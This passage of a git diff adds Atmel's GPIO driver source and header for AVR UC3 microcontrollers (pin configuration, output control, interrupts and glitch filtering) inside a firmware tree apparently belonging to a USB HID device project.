defined(AVR32_GPIO_200_H_INCLUDED) || defined(AVR32_GPIO_210_H_INCLUDED) || defined(AVR32_GPIO_211_H_INCLUDED) || defined(AVR32_GPIO_212_H_INCLUDED) + if (flags & GPIO_PULL_DOWN) + gpio_port->pders = 1 << (pin & 0x1F); + else + gpio_port->pderc = 1 << (pin & 0x1F); +#endif + if (flags & GPIO_PULL_UP) + gpio_port->puers = 1 << (pin & 0x1F); + else + gpio_port->puerc = 1 << (pin & 0x1F); + + /* Enable open-drain mode if requested */ +#if defined(AVR32_GPIO_200_H_INCLUDED) || defined(AVR32_GPIO_210_H_INCLUDED) || defined(AVR32_GPIO_211_H_INCLUDED) || defined(AVR32_GPIO_212_H_INCLUDED) + if (flags & GPIO_OPEN_DRAIN) + gpio_port->odmers = 1 << (pin & 0x1F); + else + gpio_port->odmerc = 1 << (pin & 0x1F); + + if (flags & GPIO_OPEN_DRAIN) + gpio_port->pders = 1 << (pin & 0x1F); + else + gpio_port->pderc = 1 << (pin & 0x1F); +#endif + +#if defined(AVR32_GPIO_200_H_INCLUDED) || defined(AVR32_GPIO_210_H_INCLUDED) || defined(AVR32_GPIO_211_H_INCLUDED) || defined(AVR32_GPIO_212_H_INCLUDED) + /* Select drive strength */ + if (flags & GPIO_DRIVE_LOW) + gpio_port->odcr0s = 1 << (pin & 0x1F); + else + gpio_port->odcr0c = 1 << (pin & 0x1F); + if (flags & GPIO_DRIVE_HIGH) + gpio_port->odcr1s = 1 << (pin & 0x1F); + else + gpio_port->odcr1c = 1 << (pin & 0x1F); +#endif + + /* Select interrupt level for group */ + if (flags & GPIO_INTERRUPT) { + if (flags & GPIO_BOTHEDGES) + { + gpio_port->imr0c = 1 << (pin & 0x1F); + gpio_port->imr1c = 1 << (pin & 0x1F); + } + else if (flags & GPIO_RISING) + { + gpio_port->imr0s = 1 << (pin & 0x1F); + gpio_port->imr1c = 1 << (pin & 0x1F); + } + else if (flags & GPIO_FALLING) + { + gpio_port->imr0c = 1 << (pin & 0x1F); + gpio_port->imr1s = 1 << (pin & 0x1F); + } + } + + /* Select direction and initial pin state */ + if (flags & GPIO_DIR_OUTPUT) { + if (flags & GPIO_INIT_HIGH) + gpio_port->ovrs = 1 << (pin & 0x1F); + else + gpio_port->ovrc = 1 << (pin & 0x1F); + gpio_port->oders = 1 << (pin & 0x1F); + } else { + gpio_port->oderc = 1 << (pin & 0x1F); + } + + /* Enable GPIO */ + gpio_port->gpers = 1 << (pin & 0x1F); +} + +void gpio_configure_group(uint32_t port, uint32_t mask, uint32_t flags) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[port]; + + /* Both pull-up and pull-down set means buskeeper */ +#if defined(AVR32_GPIO_200_H_INCLUDED) || defined(AVR32_GPIO_210_H_INCLUDED) || defined(AVR32_GPIO_211_H_INCLUDED) || defined(AVR32_GPIO_212_H_INCLUDED) + if (flags & GPIO_PULL_DOWN) + gpio_port->pders = mask; + else + gpio_port->pderc = mask; +#endif + if (flags & GPIO_PULL_UP) + gpio_port->puers = mask; + else + gpio_port->puerc = mask; + + /* Enable open-drain mode if requested */ +#if defined(AVR32_GPIO_200_H_INCLUDED) || defined(AVR32_GPIO_210_H_INCLUDED) || defined(AVR32_GPIO_211_H_INCLUDED) || defined(AVR32_GPIO_212_H_INCLUDED) + if (flags & GPIO_OPEN_DRAIN) + gpio_port->odmers = mask; + else + gpio_port->odmerc = mask; + + if (flags & GPIO_OPEN_DRAIN) + gpio_port->pders = mask; + else + gpio_port->pderc = mask; +#endif + +#if defined(AVR32_GPIO_200_H_INCLUDED) || defined(AVR32_GPIO_210_H_INCLUDED) || defined(AVR32_GPIO_211_H_INCLUDED) || defined(AVR32_GPIO_212_H_INCLUDED) + /* Select drive strength */ + if (flags & GPIO_DRIVE_LOW) + gpio_port->odcr0s = mask; + else + gpio_port->odcr0c = mask; + if (flags & GPIO_DRIVE_HIGH) + gpio_port->odcr1s = mask; + else + gpio_port->odcr1c = mask; +#endif + + /* Select interrupt level for group */ + if (flags & GPIO_INTERRUPT) { + if (flags & GPIO_BOTHEDGES) + { + gpio_port->imr0c = mask; + gpio_port->imr1c = mask; + } + else if (flags & GPIO_RISING) + { + gpio_port->imr0s = mask; + gpio_port->imr1c = mask; + } + else if (flags & GPIO_FALLING) + { + gpio_port->imr0c = mask; + gpio_port->imr1s = mask; + } + } + + /* Select direction and initial pin state */ + if (flags & GPIO_DIR_OUTPUT) { + if (flags & GPIO_INIT_HIGH) + gpio_port->ovrs = mask; + else + gpio_port->ovrc = mask; + gpio_port->oders = mask; + } else { + gpio_port->oderc = mask; + } + + /* Enable GPIO */ + gpio_port->gpers = mask; +} + +int gpio_get_pin_value(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + return (gpio_port->pvr >> (pin & 0x1F)) & 1; +} + + +int gpio_get_gpio_pin_output_value(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + return (gpio_port->ovr >> (pin & 0x1F)) & 1; +} + + +int gpio_get_gpio_open_drain_pin_output_value(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + return ((gpio_port->oder >> (pin & 0x1F)) & 1) ^ 1; +} + + +void gpio_set_gpio_pin(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + gpio_port->ovrs = 1 << (pin & 0x1F); // Value to be driven on the I/O line: 1. + gpio_port->oders = 1 << (pin & 0x1F); // The GPIO output driver is enabled for that pin. + gpio_port->gpers = 1 << (pin & 0x1F); // The GPIO module controls that pin. +} + +void gpio_set_pin_high(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + gpio_port->ovrs = 1 << (pin & 0x1F); // Value to be driven on the I/O line: 1. +} + +void gpio_set_group_high(uint32_t port, uint32_t mask) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[port]; + gpio_port->ovrs = mask; // Value to be driven on the I/O group: 1. +} + + +void gpio_set_pin_low(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + gpio_port->ovrc = 1 << (pin & 0x1F); // Value to be driven on the I/O line: 0. +} + +void gpio_clr_gpio_pin(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + gpio_port->ovrc = 1 << (pin & 0x1F); // Value to be driven on the I/O line: 0. + gpio_port->oders = 1 << (pin & 0x1F); // The GPIO output driver is enabled for that pin. + gpio_port->gpers = 1 << (pin & 0x1F); // The GPIO module controls that pin. +} + +void gpio_set_group_low(uint32_t port, uint32_t mask) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[port]; + gpio_port->ovrc = mask; // Value to be driven on the I/O group: 0. +} + +void gpio_tgl_gpio_pin(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + gpio_port->ovrt = 1 << (pin & 0x1F); // Toggle the I/O line. + gpio_port->oders = 1 << (pin & 0x1F); // The GPIO output driver is enabled for that pin. + gpio_port->gpers = 1 << (pin & 0x1F); // The GPIO module controls that pin. +} + +void gpio_toggle_pin(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + gpio_port->ovrt = 1 << (pin & 0x1F); // Toggle the I/O line. +} + +void gpio_toggle_group(uint32_t port, uint32_t mask) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[port]; + gpio_port->ovrt = mask; // Toggle the I/O port. +} + +void gpio_set_gpio_open_drain_pin(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + + gpio_port->oderc = 1 << (pin & 0x1F); // The GPIO output driver is disabled for that pin. + gpio_port->gpers = 1 << (pin & 0x1F); // The GPIO module controls that pin. +} + + +void gpio_clr_gpio_open_drain_pin(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + + gpio_port->ovrc = 1 << (pin & 0x1F); // Value to be driven on the I/O line: 0. + gpio_port->oders = 1 << (pin & 0x1F); // The GPIO output driver is enabled for that pin. + gpio_port->gpers = 1 << (pin & 0x1F); // The GPIO module controls that pin. +} + + +void gpio_tgl_gpio_open_drain_pin(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + + gpio_port->ovrc = 1 << (pin & 0x1F); // Value to be driven on the I/O line if the GPIO output driver is enabled: 0. + gpio_port->odert = 1 << (pin & 0x1F); // The GPIO output driver is toggled for that pin. + gpio_port->gpers = 1 << (pin & 0x1F); // The GPIO module controls that pin. +} + + +void gpio_enable_pin_glitch_filter(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + gpio_port->gfers = 1 << (pin & 0x1F); +} + + +void gpio_disable_pin_glitch_filter(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + gpio_port->gferc = 1 << (pin & 0x1F); +} + +/*! \brief Configure the edge detector of an input pin + * + * \param pin The pin number. + * \param mode The edge detection mode (\ref GPIO_PIN_CHANGE, \ref GPIO_RISING_EDGE + * or \ref GPIO_FALLING_EDGE). + * + * \return \ref GPIO_SUCCESS or \ref GPIO_INVALID_ARGUMENT. + */ +static int gpio_configure_edge_detector(uint32_t pin, uint32_t mode) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + + // Configure the edge detector. + switch (mode) + { + case GPIO_PIN_CHANGE: + gpio_port->imr0c = 1 << (pin & 0x1F); + gpio_port->imr1c = 1 << (pin & 0x1F); + break; + + case GPIO_RISING_EDGE: + gpio_port->imr0s = 1 << (pin & 0x1F); + gpio_port->imr1c = 1 << (pin & 0x1F); + break; + + case GPIO_FALLING_EDGE: + gpio_port->imr0c = 1 << (pin & 0x1F); + gpio_port->imr1s = 1 << (pin & 0x1F); + break; + + default: + return GPIO_INVALID_ARGUMENT; + } + + return GPIO_SUCCESS; +} + + +int gpio_enable_pin_interrupt(uint32_t pin, uint32_t mode) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + + // Enable the glitch filter. + gpio_port->gfers = 1 << (pin & 0x1F); + + // Configure the edge detector. + if(GPIO_INVALID_ARGUMENT == gpio_configure_edge_detector(pin, mode)) + return(GPIO_INVALID_ARGUMENT); + + // Enable interrupt. + gpio_port->iers = 1 << (pin & 0x1F); + + return GPIO_SUCCESS; +} + + +void gpio_disable_pin_interrupt(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + gpio_port->ierc = 1 << (pin & 0x1F); +} + + +int gpio_get_pin_interrupt_flag(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + return (gpio_port->ifr >> (pin & 0x1F)) & 1; +} + + +void gpio_clear_pin_interrupt_flag(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + gpio_port->ifrc = 1 << (pin & 0x1F); +} + + +//# +//# Peripheral Event System Support. +//# +#if UC3L +int gpio_configure_pin_periph_event_mode(uint32_t pin, uint32_t mode, uint32_t use_igf) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + + if(true == use_igf) + { + // Enable the glitch filter. + gpio_port->gfers = 1 << (pin & 0x1F); + } + else + { + // Disable the glitch filter. + gpio_port->gferc = 1 << (pin & 0x1F); + } + + // Configure the edge detector. + return(gpio_configure_edge_detector(pin, mode)); +} + +#endif + +//! @} diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/gpio/gpio.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/gpio/gpio.h new file mode 100755 index 0000000..7095049 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/gpio/gpio.h @@ -0,0 +1,680 @@ +/*This file has been prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief GPIO software driver interface for AVR UC3. + * + * - Compiler: GCC and IAR for AVR + * - Supported devices: All AVR UC3 devices with a GPIO module can be used. + * - AppNote: + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + *****************************************************************************/ + +/* Copyright (c) 2010 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +#ifndef _GPIO_H_ +#define _GPIO_H_ + +#include +#include "compiler.h" + +/*! \name Return Values of the GPIO API + */ +//! @{ +#define GPIO_SUCCESS 0 //!< Function successfully completed. +#define GPIO_INVALID_ARGUMENT 1 //!< Input parameters are out of range. +//! @} + + +/*! \name Interrupt Trigger Modes + */ +//! @{ +#define GPIO_PIN_CHANGE 0 //!< Interrupt triggered upon pin change. +#define GPIO_RISING_EDGE 1 //!< Interrupt triggered upon rising edge. +#define GPIO_FALLING_EDGE 2 //!< Interrupt triggered upon falling edge. +//! @} + +/*! \name Common defines for GPIO_FLAGS parameter + */ +//! @{ +#define GPIO_DIR_INPUT (0 << 0) //!< Pin is Input +#define GPIO_DIR_OUTPUT (1 << 0) //!< Pin is Output +#define GPIO_INIT_LOW (0 << 1) //!< Initial Ouptput State is Low +#define GPIO_INIT_HIGH (1 << 1) //!< Initial Ouptput State is High +#define GPIO_PULL_UP (1 << 2) //!< Pull-Up (when input) +#define GPIO_PULL_DOWN (2 << 2) //!< Pull-Down (when input) +#define GPIO_BUSKEEPER (3 << 2) //!< Bus Keeper +#define GPIO_DRIVE_MIN (0 << 4) //!< Drive Min Configuration +#define GPIO_DRIVE_LOW (1 << 4) //!< Drive Low Configuration +#define GPIO_DRIVE_HIGH (2 << 4) //!< Drive High Configuration +#define GPIO_DRIVE_MAX (3 << 4) //!< Drive Max Configuration +#define GPIO_OPEN_DRAIN (1 << 6) //!< Open-Drain (when output) +#define GPIO_INTERRUPT (1 << 7) //!< Enable Pin/Group Interrupt +#define GPIO_BOTHEDGES (3 << 7) //!< Sense Both Edges +#define GPIO_RISING (5 << 7) //!< Sense Risign Edge +#define GPIO_FALLING (7 << 7) //!< Sense Falling Edge +//! @} + +//! A type definition of pins and modules connectivity. +typedef struct +{ + unsigned char pin; //!< Module pin. + unsigned char function; //!< Module function. +} gpio_map_t[]; + + +/*! \name Peripheral Bus Interface + * + * Low-speed interface with a non-deterministic number of clock cycles per + * access. + * + * This interface operates with lower clock frequencies (fPB <= fCPU), and its + * timing is not deterministic since it needs to access a shared bus which may + * be heavily loaded. + * + * \note This interface is immediately available without initialization. + */ +//! @{ + +/*! \brief Enables specific module modes for a set of pins. + * + * \param gpiomap The pin map. + * \param size The number of pins in \a gpiomap. + * + * \return \ref GPIO_SUCCESS or \ref GPIO_INVALID_ARGUMENT. + */ +extern int gpio_enable_module(const gpio_map_t gpiomap, uint32_t size); + +/*! \brief Enables a specific module mode for a pin. + * + * \param pin The pin number.\n + * Refer to the product header file `uc3x.h' (where x is the part + * number; e.g. x = a0512) for module pins. E.g., to enable a PWM + * channel output, the pin number can be AVR32_PWM_3_PIN for PWM + * channel 3. + * \param function The pin function.\n + * Refer to the product header file `uc3x.h' (where x is the + * part number; e.g. x = a0512) for module pin functions. E.g., + * to enable a PWM channel output, the pin function can be + * AVR32_PWM_3_FUNCTION for PWM channel 3. + * + * \return \ref GPIO_SUCCESS or \ref GPIO_INVALID_ARGUMENT. + */ +extern int gpio_enable_module_pin(uint32_t pin, uint32_t function); + +/*! \brief Enables the GPIO mode of a set of pins. + * + * \param gpiomap The pin map. + * \param size The number of pins in \a gpiomap. + */ +extern void gpio_enable_gpio(const gpio_map_t gpiomap, uint32_t size); + +/*! \brief Enables the GPIO mode of a pin. + * + * \param pin The pin number.\n + * Refer to the product header file `uc3x.h' (where x is the part + * number; e.g. x = a0512) for pin definitions. E.g., to enable the + * GPIO mode of PX21, AVR32_PIN_PX21 can be used. Module pins such as + * AVR32_PWM_3_PIN for PWM channel 3 can also be used to release + * module pins for GPIO. + */ +extern void gpio_enable_gpio_pin(uint32_t pin); + +// The open-drain mode is not synthesized on the current AVR32 products. +// If one day some AVR32 products have this feature, the corresponding part +// numbers should be listed in the #if below. +// Note that other functions are available in this driver to use pins with open +// drain in GPIO mode. The advantage of the open-drain mode functions over these +// other functions is that they can be used not only in GPIO mode but also in +// module mode. +#if 0 + +/*! \brief Enables the open-drain mode of a pin. + * + * \param pin The pin number. + */ +extern void gpio_enable_pin_open_drain(uint32_t pin); + +/*! \brief Disables the open-drain mode of a pin. + * + * \param pin The pin number. + */ +extern void gpio_disable_pin_open_drain(uint32_t pin); + +#endif + +/*! \brief Enables the pull-up resistor of a pin. + * + * \param pin The pin number. + */ +extern void gpio_enable_pin_pull_up(uint32_t pin); + +/*! \brief Disables the pull-up resistor of a pin. + * + * \param pin The pin number. + */ +extern void gpio_disable_pin_pull_up(uint32_t pin); + +#if defined(AVR32_GPIO_200_H_INCLUDED) || defined(AVR32_GPIO_210_H_INCLUDED) || defined(AVR32_GPIO_211_H_INCLUDED) || defined(AVR32_GPIO_212_H_INCLUDED) +// Added support of Pull-up Resistor, Pull-down Resistor and Buskeeper Control. + +/*! \brief Enables the pull-down resistor of a pin. + * + * \param pin The pin number. + */ +extern void gpio_enable_pin_pull_down(uint32_t pin); + +/*! \brief Disables the pull-down resistor of a pin. + * + * \param pin The pin number. + */ +extern void gpio_disable_pin_pull_down(uint32_t pin); + +/*! \brief Enables the buskeeper functionality on a pin. + * + * \param pin The pin number. + */ +extern void gpio_enable_pin_buskeeper(uint32_t pin); + +/*! \brief Disables the buskeeper functionality on a pin. + * + * \param pin The pin number. + */ +extern void gpio_disable_pin_buskeeper(uint32_t pin); + +#endif + +/*! \brief Configuration functionality on a pin. + * + * \param pin The pin number. + * \param flags The configuration. + */ +extern void gpio_configure_pin(uint32_t pin, uint32_t flags); + +/*! \brief Configuration functionality on a port. + * + * \param port The port number. + * \param mask The mask. + * \param flags The configuration. + */ +extern void gpio_configure_group(uint32_t port, uint32_t mask, uint32_t flags); + +/*! \brief Returns the value of a pin. + * + * \param pin The pin number. + * + * \return The pin value. + */ +extern int gpio_get_pin_value(uint32_t pin); + +/*! + * \brief Check if the pin is in low logical level. + * + * \param pin The pin number. + * \return Bool 1 if the pin is in low logical level + * 0 if the pin is not in low logical level + */ + #define gpio_pin_is_low(pin)\ + (gpio_get_pin_value(pin)?0:1) + +/*! + * \brief Check if the pin is in high logical level. + * + * \param pin The pin number. + * \return Bool 1 if the pin is in high logical level + * 0 if the pin is not in high logical level + */ +#define gpio_pin_is_high(pin) \ + (gpio_get_pin_value(pin)?1:0) + +/*! \brief Returns the output value set for a GPIO pin. + * + * \param pin The pin number. + * + * \return The pin output value. + * + * \note This function must be used in conjunction with \ref gpio_set_gpio_pin, + * \ref gpio_clr_gpio_pin and \ref gpio_tgl_gpio_pin. + */ +extern int gpio_get_gpio_pin_output_value(uint32_t pin); + +/*! \brief Returns the output value set for a GPIO pin using open drain. + * + * \param pin The pin number. + * + * \return The pin output value. + * + * \note This function must be used in conjunction with + * \ref gpio_set_gpio_open_drain_pin, \ref gpio_clr_gpio_open_drain_pin + * and \ref gpio_tgl_gpio_open_drain_pin. + */ +extern int gpio_get_gpio_open_drain_pin_output_value(uint32_t pin); + +/*! \brief Drives a GPIO pin to 1. + * + * \param pin The pin number. + */ +extern void gpio_set_gpio_pin(uint32_t pin); + +/*! \brief Drives a GPIO pin to 1. + * + * \param pin The pin number. + * + * \note The function \ref gpio_configure_pin must be called before. + */ +extern void gpio_set_pin_high(uint32_t pin); + + +/*! \brief Drives a GPIO port to 1. + * + * \param port The port number. + * \param mask The mask. + */ +extern void gpio_set_group_high(uint32_t port, uint32_t mask); + +/*! \brief Drives a GPIO pin to 0. + * + * \param pin The pin number. + */ +extern void gpio_clr_gpio_pin(uint32_t pin); + +/*! \brief Drives a GPIO pin to 0. + * + * \param pin The pin number. + * + * \note The function \ref gpio_configure_pin must be called before. + */ +extern void gpio_set_pin_low(uint32_t pin); + +/*! \brief Drives a GPIO port to 0. + * + * \param port The port number. + * \param mask The mask. + */ +extern void gpio_set_group_low(uint32_t port, uint32_t mask); + +/*! \brief Toggles a GPIO pin. + * + * \param pin The pin number. + */ +extern void gpio_tgl_gpio_pin(uint32_t pin); + +/*! \brief Toggles a GPIO pin. + * + * \param pin The pin number. + * + * \note The function \ref gpio_configure_pin must be called before. + */ +extern void gpio_toggle_pin(uint32_t pin); + +/*! \brief Toggles a GPIO group. + * + * \param port The port number. + * \param mask The mask. + */ +extern void gpio_toggle_group(uint32_t port, uint32_t mask); + +/*! \brief Drives a GPIO pin to 1 using open drain. + * + * \param pin The pin number. + */ +extern void gpio_set_gpio_open_drain_pin(uint32_t pin); + +/*! \brief Drives a GPIO pin to 0 using open drain. + * + * \param pin The pin number. + */ +extern void gpio_clr_gpio_open_drain_pin(uint32_t pin); + +/*! \brief Toggles a GPIO pin using open drain. + * + * \param pin The pin number. + */ +extern void gpio_tgl_gpio_open_drain_pin(uint32_t pin); + +/*! \brief Enables the glitch filter of a pin. + * + * When the glitch filter is enabled, a glitch with duration of less than 1 + * clock cycle is automatically rejected, while a pulse with duration of 2 clock + * cycles or more is accepted. For pulse durations between 1 clock cycle and 2 + * clock cycles, the pulse may or may not be taken into account, depending on + * the precise timing of its occurrence. Thus for a pulse to be guaranteed + * visible it must exceed 2 clock cycles, whereas for a glitch to be reliably + * filtered out, its duration must not exceed 1 clock cycle. The filter + * introduces 2 clock cycles latency. + * + * \param pin The pin number. + */ +extern void gpio_enable_pin_glitch_filter(uint32_t pin); + +/*! \brief Disables the glitch filter of a pin. + * + * \param pin The pin number. + */ +extern void gpio_disable_pin_glitch_filter(uint32_t pin); + +/*! \brief Enables the interrupt of a pin with the specified settings. + * + * \param pin The pin number. + * \param mode The trigger mode (\ref GPIO_PIN_CHANGE, \ref GPIO_RISING_EDGE or + * \ref GPIO_FALLING_EDGE). + * + * \return \ref GPIO_SUCCESS or \ref GPIO_INVALID_ARGUMENT. + */ +extern int gpio_enable_pin_interrupt(uint32_t pin, uint32_t mode); + +/*! \brief Disables the interrupt of a pin. + * + * \param pin The pin number. + */ +extern void gpio_disable_pin_interrupt(uint32_t pin); + +/*! \brief Gets the interrupt flag of a pin. + * + * \param pin The pin number. + * + * \return The pin interrupt flag. + */ +extern int gpio_get_pin_interrupt_flag(uint32_t pin); + +/*! \brief Clears the interrupt flag of a pin. + * + * \param pin The pin number. + */ +extern void gpio_clear_pin_interrupt_flag(uint32_t pin); + +//! @} + + +#if (defined AVR32_GPIO_LOCAL_ADDRESS) +/*! \name Local Bus Interface + * + * High-speed interface with only one clock cycle per access. + * + * This interface operates with high clock frequency (fCPU), and its timing is + * deterministic since it does not need to access a shared bus which may be + * heavily loaded. + * + * \warning To use this interface, the clock frequency of the peripheral bus on + * which the GPIO peripheral is connected must be set to the CPU clock + * frequency (fPB = fCPU). + * + * \note This interface has to be initialized in order to be available. + */ +//! @{ + +/*! \brief Enables the local bus interface for GPIO. + * + * \note This function must have been called at least once before using other + * functions in this interface. + */ +#if (defined __GNUC__) +__attribute__((__always_inline__)) +#endif +static inline void gpio_local_init(void) +{ + Set_system_register(AVR32_CPUCR, + Get_system_register(AVR32_CPUCR) | AVR32_CPUCR_LOCEN_MASK); +} + +/*! \brief Enables the output driver of a pin. + * + * \param pin The pin number. + * + * \note \ref gpio_local_init must have been called beforehand. + * + * \note This function does not enable the GPIO mode of the pin. + * \ref gpio_enable_gpio_pin can be called for this purpose. + */ +#if (defined __GNUC__) +__attribute__((__always_inline__)) +#endif +static inline void gpio_local_enable_pin_output_driver(uint32_t pin) +{ + AVR32_GPIO_LOCAL.port[pin >> 5].oders = 1 << (pin & 0x1F); +} + +/*! \brief Disables the output driver of a pin. + * + * \param pin The pin number. + * + * \note \ref gpio_local_init must have been called beforehand. + */ +#if (defined __GNUC__) +__attribute__((__always_inline__)) +#endif +static inline void gpio_local_disable_pin_output_driver(uint32_t pin) +{ + AVR32_GPIO_LOCAL.port[pin >> 5].oderc = 1 << (pin & 0x1F); +} + +/*! \brief Returns the value of a pin. + * + * \param pin The pin number. + * + * \return The pin value. + * + * \note \ref gpio_local_init must have been called beforehand. + */ +#if (defined __GNUC__) +__attribute__((__always_inline__)) +#endif +static inline int gpio_local_get_pin_value(uint32_t pin) +{ + return (AVR32_GPIO_LOCAL.port[pin >> 5].pvr >> (pin & 0x1F)) & 1; +} + +/*! \brief Drives a GPIO pin to 1. + * + * \param pin The pin number. + * + * \note \ref gpio_local_init must have been called beforehand. + * + * \note This function does not enable the GPIO mode of the pin nor its output + * driver. \ref gpio_enable_gpio_pin and + * \ref gpio_local_enable_pin_output_driver can be called for this + * purpose. + */ +#if (defined __GNUC__) +__attribute__((__always_inline__)) +#endif +static inline void gpio_local_set_gpio_pin(uint32_t pin) +{ + AVR32_GPIO_LOCAL.port[pin >> 5].ovrs = 1 << (pin & 0x1F); +} + +/*! \brief Drives a GPIO pin to 0. + * + * \param pin The pin number. + * + * \note \ref gpio_local_init must have been called beforehand. + * + * \note This function does not enable the GPIO mode of the pin nor its output + * driver. \ref gpio_enable_gpio_pin and + * \ref gpio_local_enable_pin_output_driver can be called for this + * purpose. + */ +#if (defined __GNUC__) +__attribute__((__always_inline__)) +#endif +static inline void gpio_local_clr_gpio_pin(uint32_t pin) +{ + AVR32_GPIO_LOCAL.port[pin >> 5].ovrc = 1 << (pin & 0x1F); +} + +/*! \brief Toggles a GPIO pin. + * + * \param pin The pin number. + * + * \note \ref gpio_local_init must have been called beforehand. + * + * \note This function does not enable the GPIO mode of the pin nor its output + * driver. \ref gpio_enable_gpio_pin and + * \ref gpio_local_enable_pin_output_driver can be called for this + * purpose. + */ +#if (defined __GNUC__) +__attribute__((__always_inline__)) +#endif +static inline void gpio_local_tgl_gpio_pin(uint32_t pin) +{ + AVR32_GPIO_LOCAL.port[pin >> 5].ovrt = 1 << (pin & 0x1F); +} + +/*! \brief Initializes the configuration of a GPIO pin so that it can be used + * with GPIO open-drain functions. + * + * \note This function must have been called at least once before using + * \ref gpio_local_set_gpio_open_drain_pin, + * \ref gpio_local_clr_gpio_open_drain_pin or + * \ref gpio_local_tgl_gpio_open_drain_pin. + */ +#if (defined __GNUC__) +__attribute__((__always_inline__)) +#endif +static inline void gpio_local_init_gpio_open_drain_pin(uint32_t pin) +{ + AVR32_GPIO_LOCAL.port[pin >> 5].ovrc = 1 << (pin & 0x1F); +} + +/*! \brief Drives a GPIO pin to 1 using open drain. + * + * \param pin The pin number. + * + * \note \ref gpio_local_init and \ref gpio_local_init_gpio_open_drain_pin must + * have been called beforehand. + * + * \note This function does not enable the GPIO mode of the pin. + * \ref gpio_enable_gpio_pin can be called for this purpose. + */ +#if (defined __GNUC__) +__attribute__((__always_inline__)) +#endif +static inline void gpio_local_set_gpio_open_drain_pin(uint32_t pin) +{ + AVR32_GPIO_LOCAL.port[pin >> 5].oderc = 1 << (pin & 0x1F); +} + +/*! \brief Drives a GPIO pin to 0 using open drain. + * + * \param pin The pin number. + * + * \note \ref gpio_local_init and \ref gpio_local_init_gpio_open_drain_pin must + * have been called beforehand. + * + * \note This function does not enable the GPIO mode of the pin. + * \ref gpio_enable_gpio_pin can be called for this purpose. + */ +#if (defined __GNUC__) +__attribute__((__always_inline__)) +#endif +static inline void gpio_local_clr_gpio_open_drain_pin(uint32_t pin) +{ + AVR32_GPIO_LOCAL.port[pin >> 5].oders = 1 << (pin & 0x1F); +} + +/*! \brief Toggles a GPIO pin using open drain. + * + * \param pin The pin number. + * + * \note \ref gpio_local_init and \ref gpio_local_init_gpio_open_drain_pin must + * have been called beforehand. + * + * \note This function does not enable the GPIO mode of the pin. + * \ref gpio_enable_gpio_pin can be called for this purpose. + */ +#if (defined __GNUC__) +__attribute__((__always_inline__)) +#endif +static inline void gpio_local_tgl_gpio_open_drain_pin(uint32_t pin) +{ + AVR32_GPIO_LOCAL.port[pin >> 5].odert = 1 << (pin & 0x1F); +} + +//! @} +#endif // AVR32_GPIO_LOCAL_ADDRESS + +#if UC3L +//! @{ +/*! \name 